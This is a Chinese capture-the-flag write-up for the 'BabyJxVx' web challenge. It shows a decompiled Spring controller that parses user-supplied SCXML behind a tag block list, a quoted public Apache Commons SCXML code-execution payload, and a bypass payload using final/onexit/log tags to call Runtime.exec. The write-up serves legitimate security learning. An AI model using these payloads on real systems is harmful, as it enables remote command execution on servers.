WEB-BabyJxVx-海南大学第四届网络安全技能挑战赛
WEB
BabyJxVx
反编译附件查看路由信息
package com.example.babyjxvx.FlagController;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.model.SCXML;
import org.apache.commons.scxml2.p004io.SCXMLReader;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
@Controller
/* loaded from: BabyJxVx.jar:BOOT-INF/classes/com/example/babyjxvx/FlagController/Flagcontroller.class */
public class Flagcontroller {
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
int node1 = doc.getElementsByTagName("script").getLength();
int node2 = doc.getElementsByTagName("datamodel").getLength();
int node3 = doc.getElementsByTagName("invoke").getLength();
int node4 = doc.getElementsByTagName("param").getLength();
int node5 = doc.getElementsByTagName("parallel").getLength();
int node6 = doc.getElementsByTagName("history").getLength();
int node7 = doc.getElementsByTagName("transition").getLength();
int node8 = doc.getElementsByTagName("state").getLength();
int node9 = doc.getElementsByTagName("onentry").getLength();
int node10 = doc.getElementsByTagName("if").getLength();
int node11 = doc.getElementsByTagName("elseif").getLength();
if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0) {
return false;
}
return true;
}
@RequestMapping({"/"})
public String index() {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename).booleanValue()) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.m89go();
return "Revenge to me!";
}
System.out.println("nonono");
return "revenge?";
} catch (Exception var5) {
System.out.println(var5);
return "revenge?";
}
}
}
Flag路由下有xml解析,盲猜存在xee漏洞
然后百度发现了最近的一篇远程rce漏洞
原文地址
Apache Commons SCXML Remote Code ExecutionApache Commons SCXML Remote Code Execution
原文给出的exp
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<assign location="s" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')"/>
</onentry>
</state>
</scxml>
不过在这个题目中存在了很多过滤。想办法绕过
贴一个文档
一文讲通状态机 SCXML与XState对应关系 - 掘金 (juejin.cn)
发现了state被过滤
后续发现了标签可以代替state
然后执行代码的script过滤了可以用其他的代替正好
final标签可以包含标签
然后利用onexit标签构造一个就可以了
具体的exp为
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="wa1ki0g">
<final id="wa1ki0g">
<onexit>
<log location="rce" expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'你的命令')" />
</onexit>
</final>
</scxml>
xc注意命令要xml特色字符转义
然后就可以了